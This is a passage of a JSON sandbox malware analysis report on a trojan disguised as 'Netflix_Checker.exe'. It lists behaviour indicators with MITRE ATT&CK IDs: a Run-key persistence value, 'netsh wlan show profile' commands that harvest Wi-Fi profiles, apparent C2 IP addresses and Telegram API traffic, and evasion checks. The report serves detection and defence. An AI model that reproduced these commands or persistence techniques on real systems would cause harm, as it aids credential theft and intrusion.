Source: \"00000000-00005736.00000000.82398.0095B000.00000002.mdmp\")","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Able to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"Netflix_Checker.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","id":"api-108","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve information about the current system","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found string \"Taskmgr.exe\" (Indicator: \"taskmgr.exe\"; Source: \"sample.bin\"), Found string \"ProcessHacker.exe\" (Indicator: \"processhacker.exe\"; Source: \"sample.bin\")","id":"string-45","level":"suspicious","mitre_attack_id":"T1518.001","name":"May check for the presence of a forensics/monitoring tool","origin":"sample.bin","sources":[{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"Netflix_Checker.exe\" connecting to \"\\ThemeApiPort\"","id":"api-16","level":"informative","mitre_attack_id":"T1559","name":"Connects to LPC ports","origin":"API Call","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"$3c","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"176.111.174.140:80\"\n \"176.111.174.140:7707\"\n \"176.111.174.140:8808\"\n \"104.16.184.241:80\"\n \"172.67.196.114:443\"\n \"149.154.167.220:443\"\n \"172.67.19.24:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3d","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"ee5db. Trojan.exe\")","id":"string-354","level":"informative","mitre_attack_id":"T1082","name":"Contains reference to mutex-related activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature matched on embedded PE in file \"sample.bin\"\n YARA signature matched on embedded PE in file \"svcwhost.exe\"","id":"yara-140","level":"informative","mitre_attack_id":"T1027.009","name":"YARA signature match – Embedded PE executable","origin":"YARA Signature","relevance":2,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"\"svcwhost.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005968)","id":"api-111","level":"informative","mitre_attack_id":"T1134","name":"Calls an API typically used to enable or disable privileges in the specified access token","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"Netflix_Checker.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [C:\\Netflix_Checker.exe]- [targetUID: 00000000-00006396]\n \"svcwhost.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- Location: [%APPDATA%\\svcwhost.exe]- [targetUID: 00000000-00005968]\n \"Service_Macromedia.exe.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]\n \"_3E3CE09031442691943543_.exe.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]\n \"Service_Microsoft.exe.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]\n \"_3E3CE09031442691943543_.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: N/A]","id":"binary-1","level":"suspicious","mitre_attack_id":"T1105","name":"Drops executable files","origin":"Binary File","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","id":"string-907","level":"informative","mitre_attack_id":"T1057","name":"Able to enumerate system processes using native API","origin":"sample.bin","sources":[{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$3e","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"ee5db. Trojan.exe\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"Observed import api \"GetTokenInformation\" which can \"Retrieves a specified type of information about an access token\" [Source: svcwhost.exe]\n Observed import api \"GetTokenInformation\" which can \"Retrieves a specified type of information about an access token\" [Source: Service_Macromedia.exe.bin]","id":"static-87","level":"informative","mitre_attack_id":"T1134.001","name":"Imports system security related APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"ee5db.Trojan.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"Netflix_Checker.exe\"","id":"static-99","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to download files with network (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"Netflix_Checker.exe\")","id":"string-624","level":"informative","mitre_attack_id":"T1027","name":"Found XOR operators (encryption/decryption)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006016.00000000.82441.00480000.00000004.mdmp, 00000000-00006016.00000001.82692.00480000.00000004.mdmp\")","id":"string-493","level":"informative","mitre_attack_id":"T1486","name":"Contains reference to crypto DLLs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00006016-00000C2C-297993318\")","id":"string-906","level":"informative","mitre_attack_id":"T1057","name":"Able to list processes on remote desktop session host","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Netflix_Checker.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","id":"static-153","level":"informative","name":"Uses 32 bit executable PE","origin":"Static Parser","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Process \"cmd.exe\" with commandline \"/C chcp 65001 && netsh wlan show profile | findstr All\" (UID: 00000000-00006484)\n Process \"cmd.exe\" with commandline \"/C chcp 65001 && netsh wlan show networks mode=bssid\" (UID: 00000000-00006752)","id":"target-276","level":"suspicious","mitre_attack_id":"T1614.001","name":"Tries to retrieve system language information using chcp utility","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"\"svcwhost.exe\" called \"CreateDirectoryA\" with parameter %APPDATA%\\{3E3CE09031442691943543} (UID: 00000000-00005968)","id":"api-122","level":"informative","mitre_attack_id":"T1074.001","name":"Calls an API typically used to create a directory","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found URL \"http://go.microsoft.com/fwlink/?linkid=42127\" - Source: \"00000000-00006016.00000000.82441.00480000.00000004.mdmp\")\n Found URL \"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead\" - Source: \"00000000-00006016.00000000.82441.01D20000.00000004.mdmp\")\n Found URL \"http://go.microsoft.com/fwlink/?linkid=42127\" - Source: \"00000000-00006016.00000001.82692.00480000.00000004.mdmp\")","id":"memorydump-2","level":"informative","mitre_attack_id":"T1071","name":"Found potential URLs in memory dumps","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"Netflix_Checker.exe\"\n Report process \"WerFault.exe\" was created by \"svcwhost.exe\"","id":"target-2","level":"informative","name":"An application crash occurred","origin":"Monitored Target","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"System Security","description":"\"svcwhost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SERVICES\"; Value: \"%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe\")","id":"registry-136","level":"suspicious","mitre_attack_id":"T1112","name":"Writes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"\"Netflix_Checker.exe\" called \"CryptAcquireContextW\" with parameters {\"phProv\": \"2006700200000000\"\n \"szProvider\": \"Microsoft Enhanced RSA and AES Cryptographic Provider\"\n \"dwProvType\": \"24\"\n \"dwFlags\": \"4026531840\"}","id":"api-228","level":"suspicious","mitre_attack_id":"T1027","name":"Calls an API typically used to acquire handle to a key container within a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"Netflix_Checker.exe\" called \"GetComputerNameW\" (UID: 00000000-00006396)","id":"api-141","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve computer name","origin":"API Call","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"ee5db.Trojan.exe\" queries basic process information of the \"C:\\ee5db.Trojan.exe\" (UID: 4344)","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"Netflix_Checker.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET INFO External IP Lookup Domain in DNS Lookup (icanhazip .com)\" (SID: 2054169, Rev: 1, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","id":"suricata-4","level":"informative","mitre_attack_id":"T1016","name":"Detected Suricata Alert - External IP Lookup","origin":"Suricata Alerts","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"/C chcp 65001 && netsh wlan show profile | findstr All\" (Indicator: \"findstr \"; File: \"cmd.exe\")\n Found string \"findstr All\" (Indicator: \"findstr \"; File: \"findstr.exe\")","id":"string-334","level":"informative","mitre_attack_id":"T1552","name":"Contains ability to search for patterns of text (possibly credentials) in files","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")","id":"string-280","level":"informative","mitre_attack_id":"T1486","name":"Contains reference to cryptographic keys","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"$3f","id":"string-899","level":"informative","mitre_attack_id":"T1071","name":"Contains references to network communication API (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db.Trojan.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73B40000\n \"svcwhost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FB020000\n \"Netflix_Checker.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73B40000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FB020000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"Netflix_Checker.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70A90000","id":"module-3","level":"informative","mitre_attack_id":"T1129","name":"Loads the .NET runtime environment","origin":"Loaded Module","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$40","id":"string-78","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to capture screen (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; File: \"ee5db. Trojan.exe\")","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Contains ability to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Spyware/Information Retrieval","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae]","id":"static-88","level":"informative","mitre_attack_id":"T1059.003","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","origin":"Static Parser","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains ability to decode string content at runtime (Dotnet)\n Matched sigs: HTTP requests contain Base64 strings","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"ee5db. Trojan.exe\")","id":"string-304","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to modify registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"External Systems","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","id":"mlmodel-12","level":"malicious","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","origin":"Static Analysis","sources":[{"report_id":"","report_type":"qsp"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"ee5db. Trojan.exe\")","id":"string-365","level":"informative","mitre_attack_id":"T1029","name":"Contains ability to perform scheduled transfer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Unusual Characteristics","description":"Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"ee5db. Trojan.exe\")","id":"string-481","level":"informative","mitre_attack_id":"T1055","name":"Reference explorer.exe process","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"ee5db. Trojan.exe\")","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"ee5db. Trojan.exe\")","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"ee5db. Trojan.exe\")","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Contains ability to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Pattern Matching","description":"YARA signature matched on embedded PE in file \"Service_Macromedia.exe.bin\"\n YARA signature matched on embedded PE in file \"Service_Microsoft.exe.bin\"\n YARA signature matched on embedded PE in file \"svcwhost.exe\"\n YARA signature matched on embedded PE in file \"_3E3CE09031442691943543_.exe\"\n YARA signature matched on embedded PE in file \"_3E3CE09031442691943543_.exe.bin\"\n YARA signature matched on embedded PE in file \"sample.bin\"","id":"yara-140","level":"informative","mitre_attack_id":"T1027.009","name":"YARA signature match – Embedded PE file","origin":"YARA Signature","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"$41","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"api.telegram.org\" (Indicator: \"api.telegram.org\"; File: \"PCAP\")","id":"string-186","level":"informative","mitre_attack_id":"T1102","name":"Found domain strings related to cloud services(possible C&C communication)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"Short term registered certificate: \"api.mylnikov.org\" (89 days old)\n Short term registered certificate: \"pastebin.com\" (89 days old)","id":"certificate-3","level":"informative","mitre_attack_id":"T1583.001","name":"Short-term SSL certificate detected","origin":"Certificate Data","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"\"Netflix_Checker.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","id":"static-144","level":"informative","name":"PE file contains COM data directory","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"Found string \":\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\v4.0_4.0.0.0__b77a5c561934e089\\System.Runtime.Remoting.dll\" (Source: \"00000000-00006016.00000000.82441.00480000.00000004.mdmp, 00000000-00006016.00000001.82692.00480000.00000004.mdmp\")\n Found string \":\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\fd0048cfdcd58dd454d2575e5cb55e70\\System.Runtime.Remoting.ni.dll\" (Source: \"00000000-00006016.00000001.82692.00480000.00000004.mdmp\")\n Found string \"System.Runtime.Remoting.dll\" (Source: \"00000000-00006016.00000001.82692.00480000.00000004.mdmp\")","id":"string-940","level":"informative","mitre_attack_id":"T1021","name":"Able to modify Remote Configuration","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"api.mylnikov.org\"\n \"api.telegram.org\"\n \"icanhazip.com\"\n \"pastebin.com\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$42","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API's typically used for searching a directory for a files","origin":"API Call","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"\"svcwhost.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\TH7A53.tmp\"","id":"api-267","level":"informative","mitre_attack_id":"T1005","name":"Writes files in a temp directory","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"$43","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows file paths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"Netflix_Checker.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"informative","mitre_attack_id":"T1082","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Observed function \"ResourceManager.GetObject\" in \"Netflix_Checker.exe\"","id":"static-112","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to load content from resource","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"External Systems","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","id":"avtest-5","level":"malicious","mitre_attack_id":"T1204.002","name":"Sample was identified as malicious by a trusted antivirus engine","origin":"External System","relevance":10,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"api.telegram.org\" (Indicator: \"telegram.org\"; File: \"PCAP\")","id":"string-61","level":"suspicious","name":"Found an instant messenger related domain","origin":"File/Memory","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"ee5db. Trojan.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"Netflix_Checker.exe\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00006396.00000000.123897.00092000.00000002.mdmp\")","id":"string-106","level":"informative","mitre_attack_id":"T1140","name":"Contains ability to decode base64 data","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"FindFirstFileExW@KERNEL32.dll at 48249-4297-00414657\n FindFirstFileExW@KERNEL32.DLL at 00000000-00005736-49315-645-00954657","id":"stream-89","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files inside a directory","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$44","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API typically used for searching a directory for files","origin":"API Call","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"ee5db. Trojan.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"ee5db. Trojan.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"Netflix_Checker.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"Netflix_Checker.exe\" was detected as \"Microsoft Visual C/C++\" 